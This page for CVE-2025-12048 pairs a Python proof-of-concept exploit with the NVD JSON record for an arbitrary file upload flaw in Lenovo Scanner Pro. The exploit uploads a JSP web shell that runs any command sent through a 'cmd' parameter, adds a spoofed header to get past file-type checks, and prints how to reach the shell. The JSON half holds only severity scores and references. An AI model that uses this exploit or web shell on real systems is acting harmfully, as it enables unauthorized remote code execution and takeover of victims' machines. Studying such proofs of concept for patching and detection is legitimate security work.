CVE-2025-12048

# CVE-2025-12048 PoC - Lenovo Scanner Pro Arbitrary File Upload # This PoC demonstrates the file upload vulnerability import requests import json TARGET_URL = "http://target:8080/ScannerPro/upload" PAYLOAD_FILENAME = "malicious.jsp" PAYLOAD_CONTENT = "<%@ page import=\"java.util.*,java.io.*\" %>\n<% if(request.getParameter(\"cmd\")!=null){ Process p = Runtime.getRuntime().exec(request.getParameter(\"cmd\")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while(disr!=null){ out.println(disr); disr = dis.readLine(); } } %>" def exploit_file_upload(): """Exploit arbitrary file upload vulnerability""" files = { 'file': (PAYLOAD_FILENAME, PAYLOAD_CONTENT, 'application/octet-stream') } # Bypass file type restrictions headers = { 'X-Original-Filename': PAYLOAD_FILENAME, 'Content-Type': 'multipart/form-data' } try: response = requests.post(TARGET_URL, files=files, headers=headers, timeout=10) if response.status_code == 200: result = response.json() uploaded_path = result.get('filePath', '/uploads/' + PAYLOAD_FILENAME) print(f"[+] File uploaded successfully to: {uploaded_path}") print(f"[+] Access payload at: {uploaded_path}?cmd=whoami") return uploaded_path else: print(f"[-] Upload failed with status: {response.status_code}") return None except Exception as e: print(f"[-] Error: {str(e)}") return None if __name__ == "__main__": print("CVE-2025-12048 PoC - Lenovo Scanner Pro Arbitrary File Upload") print("=" * 60) exploit_file_upload()

{"cve": {"id": "CVE-2025-12048", "sourceIdentifier": "[email protected]", "published": "2025-11-12T20:15:37.860", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "An arbitrary file upload vulnerability was reported in the Lenovo Scanner Pro client during an internal security assessment that could allow remote code execution or unauthorized control of the affected system."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://iknow.lenovo.com.cn/detail/434326", "source": "[email protected]"}]}}